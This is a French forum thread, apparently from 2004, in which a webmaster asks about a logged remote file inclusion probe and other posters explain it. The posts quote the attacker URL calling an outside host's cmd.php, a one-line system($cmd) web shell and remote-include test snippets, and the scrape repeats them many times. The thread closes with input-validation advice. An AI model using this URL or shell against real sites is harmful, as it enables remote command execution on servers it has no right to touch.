Notre site est accessible grace à l'url : http://www.XXXX.fr/index.php
et le texte des pages change avec une variable en ajoutant ?pg=YYYY.
Jusque là c'est banal.
Je vois cette nuit que quelqu'un est venu faire :
http://www.XXXX.fr/index.php?pg=http://www.dpalone.hpg.com.br/cmd.php?&cmd=uname%20-a
J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait
faire quelque chose, mais quoi ?
Je vois cette nuit que quelqu'un est venu faire : http://www.XXXX.fr/index.php?pg=http://www.dpalone.hpg.com.br/cmd.php?&cmd=uname%20-a
J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait faire quelque chose, mais quoi ?
c'est simple
va a cette adresse : http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a
tu vois que s'affiche
<? system($cmd); ?>
en essayant de passer cette url en parametre, le "hacker" voulait tester si "pg" dirigeait vers un include au quel cas, l'include se fait alors a distance, et execute la commande uname -a, qui sous unix sort la versions complete du systeme utilisé
si ca fonctionne, on peut alors lancer n'importe quelle commande, le tout quand meme en restant sous le user du daemon http... ce qui est quand meme assez restrictif (et qui peut encore etre plus restrictif si on est en safe_mode au niveau de php par exemple)
Je vois cette nuit que quelqu'un est venu faire :
http://www.XXXX.fr/index.php?pg=http://www.dpalone.hpg.com.br/cmd.php?&cmd=uname%20-a
J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait
faire quelque chose, mais quoi ?
c'est simple
va a cette adresse :
http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a
tu vois que s'affiche
<?
system($cmd);
?>
en essayant de passer cette url en parametre, le "hacker" voulait tester
si "pg" dirigeait vers un include
au quel cas, l'include se fait alors a distance, et execute la commande
uname -a, qui sous unix sort la versions complete du systeme utilisé
si ca fonctionne, on peut alors lancer n'importe quelle commande, le
tout quand meme en restant sous le user du daemon http... ce qui est
quand meme assez restrictif (et qui peut encore etre plus restrictif si
on est en safe_mode au niveau de php par exemple)
Je vois cette nuit que quelqu'un est venu faire : http://www.XXXX.fr/index.php?pg=http://www.dpalone.hpg.com.br/cmd.php?&cmd=uname%20-a
J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait faire quelque chose, mais quoi ?
c'est simple
va a cette adresse : http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a
tu vois que s'affiche
<? system($cmd); ?>
en essayant de passer cette url en parametre, le "hacker" voulait tester si "pg" dirigeait vers un include au quel cas, l'include se fait alors a distance, et execute la commande uname -a, qui sous unix sort la versions complete du systeme utilisé
si ca fonctionne, on peut alors lancer n'importe quelle commande, le tout quand meme en restant sous le user du daemon http... ce qui est quand meme assez restrictif (et qui peut encore etre plus restrictif si on est en safe_mode au niveau de php par exemple)
Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le code PHP n'est pas exécuté :-) !
non, le script doit simplement ressembler a ca :
<?php print "<?nsystem($cmd);n?>"; ?>
Quel intérêt (de faire un print) ?
Si le index.php du site attaqué fait un include de ce script, le print va pas permettre d'attaquer quoi que ce soit...
Patrick.
Davel_x
Le 26/02/2004 13:17 :
Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le code PHP n'est pas exécuté :-) !
non, le script doit simplement ressembler a ca :
<?php print "<?nsystem($cmd);n?>"; ?>
Quel intérêt (de faire un print) ?
Si le index.php du site attaqué fait un include de ce script, le print va pas permettre d'attaquer quoi que ce soit...
le print va permettre d'afficher la commande voulue après que le code php ait été parsé par le serveur distant (donc pas celui qui est attaqué). L'affichage des informations via ce script inclu "abusivement" va permettre de savoir quel type d'attaque faire si la version des logiciels ou de l'os du serveur comportent des failles.
-- **davel** http://www.lerpg.com
Le 26/02/2004 13:17 :
Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le
code PHP n'est pas exécuté :-) !
non, le script doit simplement ressembler a ca :
<?php
print "<?nsystem($cmd);n?>";
?>
Quel intérêt (de faire un print) ?
Si le index.php du site attaqué fait un include de ce script, le print va
pas permettre d'attaquer quoi que ce soit...
le print va permettre d'afficher la commande voulue après que le code
php ait été parsé par le serveur distant (donc pas celui qui est attaqué).
L'affichage des informations via ce script inclu "abusivement" va
permettre de savoir quel type d'attaque faire si la version des
logiciels ou de l'os du serveur comportent des failles.
Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le code PHP n'est pas exécuté :-) !
non, le script doit simplement ressembler a ca :
<?php print "<?nsystem($cmd);n?>"; ?>
Quel intérêt (de faire un print) ?
Si le index.php du site attaqué fait un include de ce script, le print va pas permettre d'attaquer quoi que ce soit...
le print va permettre d'afficher la commande voulue après que le code php ait été parsé par le serveur distant (donc pas celui qui est attaqué). L'affichage des informations via ce script inclu "abusivement" va permettre de savoir quel type d'attaque faire si la version des logiciels ou de l'os du serveur comportent des failles.
-- **davel** http://www.lerpg.com
Patrick
attaqué). L'affichage des informations via ce script inclu "abusivement" va permettre de savoir quel type d'attaque faire si la version des logiciels ou de l'os du serveur comportent des failles.
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print, le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque point il n'y a.
Patrick.
attaqué). L'affichage des informations via ce script inclu "abusivement"
va permettre de savoir quel type d'attaque faire si la version des
logiciels ou de l'os du serveur comportent des failles.
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print,
le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque
point il n'y a.
attaqué). L'affichage des informations via ce script inclu "abusivement" va permettre de savoir quel type d'attaque faire si la version des logiciels ou de l'os du serveur comportent des failles.
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print, le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque point il n'y a.
Patrick.
Davel_x
Le 26/02/2004 13:36 :
attaqué). L'affichage des informations via ce script inclu "abusivement" va permettre de savoir quel type d'attaque faire si la version des logiciels ou de l'os du serveur comportent des failles.
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print, le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque point il n'y a.
bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien capté à tout ce qui me paraissait clair y'a 5 minutes ^___^
-- **davel** http://www.lerpg.com
Le 26/02/2004 13:36 :
attaqué). L'affichage des informations via ce script inclu "abusivement"
va permettre de savoir quel type d'attaque faire si la version des
logiciels ou de l'os du serveur comportent des failles.
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print,
le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque
point il n'y a.
bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté
mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien
capté à tout ce qui me paraissait clair y'a 5 minutes ^___^
attaqué). L'affichage des informations via ce script inclu "abusivement" va permettre de savoir quel type d'attaque faire si la version des logiciels ou de l'os du serveur comportent des failles.
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print, le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque point il n'y a.
bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien capté à tout ce qui me paraissait clair y'a 5 minutes ^___^
-- **davel** http://www.lerpg.com
Patrick
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print, le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque point il n'y a.
bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien capté à tout ce qui me paraissait clair y'a 5 minutes ^___^
Faites le test vous-même vous verrez bien. Mettez: <?php
include 'http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a';
?>
quelque part chez vous, regardez la page et vous verrez manifiquement.... rien du tout !
Par contre faites une autre page avec dedans <?php
system('uname -a');
?>
(pas de $cmd car chez moi pas de register_globals)
et dans une autre: <?php
include 'http://url de l'autre page';
?>
Et là, oh magie, ca s'affiche !
Patrick.
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print,
le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque
point il n'y a.
bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté
mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien
capté à tout ce qui me paraissait clair y'a 5 minutes ^___^
Faites le test vous-même vous verrez bien.
Mettez:
<?php
include 'http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a';
?>
quelque part chez vous, regardez la page et vous verrez manifiquement....
rien du tout !
Par contre faites une autre page avec dedans
<?php
system('uname -a');
?>
(pas de $cmd car chez moi pas de register_globals)
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print, le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque point il n'y a.
bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien capté à tout ce qui me paraissait clair y'a 5 minutes ^___^
Faites le test vous-même vous verrez bien. Mettez: <?php
include 'http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a';
?>
quelque part chez vous, regardez la page et vous verrez manifiquement.... rien du tout !
Par contre faites une autre page avec dedans <?php
system('uname -a');
?>
(pas de $cmd car chez moi pas de register_globals)
J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait faire quelque chose, mais quoi ? exécuter un script distant pour connaître ton système.
Le script de la page en paramètre est
<? system($cmd); ?>
et cmd est passé en paramètre. C'est codé à la goret, ça ne passerait pas sur beaucoup d'interpréteurs PHP (tags réduits autorisés et safe mode off pour le moins). Je n'ai pas testé pour voir si le double "?" pose problème, je ne sais plus si on a le droit d'écrire ça, ni comment ça pourrait être interprété.
Admettons que ça passe, et que ton index.php inclue la page passée en paramètre par pg, alors pourrait s'afficher le résultat de la commande "uname -a" qui est par exemple :
Linux charly 2.4.23 #2 SMP jeu jan 8 18:50:43 CET 2004 i686 unknown
Ton paramètre pg doit être vérifié avant tout traitement. De toute façon, on doit *systématiquement* vérifier *toutes* les entrées.
C'est plus un problème de développement que d'hébergement => à suivre sur fr.comp.infosystemes.www.auteurs.
J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait
faire quelque chose, mais quoi ?
exécuter un script distant pour connaître ton système.
Le script de la page en paramètre est
<?
system($cmd);
?>
et cmd est passé en paramètre.
C'est codé à la goret, ça ne passerait pas sur beaucoup
d'interpréteurs PHP (tags réduits autorisés et safe mode off
pour le moins).
Je n'ai pas testé pour voir si le double "?" pose problème,
je ne sais plus si on a le droit d'écrire ça, ni comment ça
pourrait être interprété.
Admettons que ça passe, et que ton index.php inclue la
page passée en paramètre par pg, alors pourrait s'afficher
le résultat de la commande "uname -a" qui est par exemple :
Linux charly 2.4.23 #2 SMP jeu jan 8 18:50:43 CET 2004 i686 unknown
Ton paramètre pg doit être vérifié avant tout traitement.
De toute façon, on doit *systématiquement* vérifier *toutes*
les entrées.
C'est plus un problème de développement que d'hébergement
=> à suivre sur fr.comp.infosystemes.www.auteurs.
J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait faire quelque chose, mais quoi ? exécuter un script distant pour connaître ton système.
Le script de la page en paramètre est
<? system($cmd); ?>
et cmd est passé en paramètre. C'est codé à la goret, ça ne passerait pas sur beaucoup d'interpréteurs PHP (tags réduits autorisés et safe mode off pour le moins). Je n'ai pas testé pour voir si le double "?" pose problème, je ne sais plus si on a le droit d'écrire ça, ni comment ça pourrait être interprété.
Admettons que ça passe, et que ton index.php inclue la page passée en paramètre par pg, alors pourrait s'afficher le résultat de la commande "uname -a" qui est par exemple :
Linux charly 2.4.23 #2 SMP jeu jan 8 18:50:43 CET 2004 i686 unknown
Ton paramètre pg doit être vérifié avant tout traitement. De toute façon, on doit *systématiquement* vérifier *toutes* les entrées.
C'est plus un problème de développement que d'hébergement => à suivre sur fr.comp.infosystemes.www.auteurs.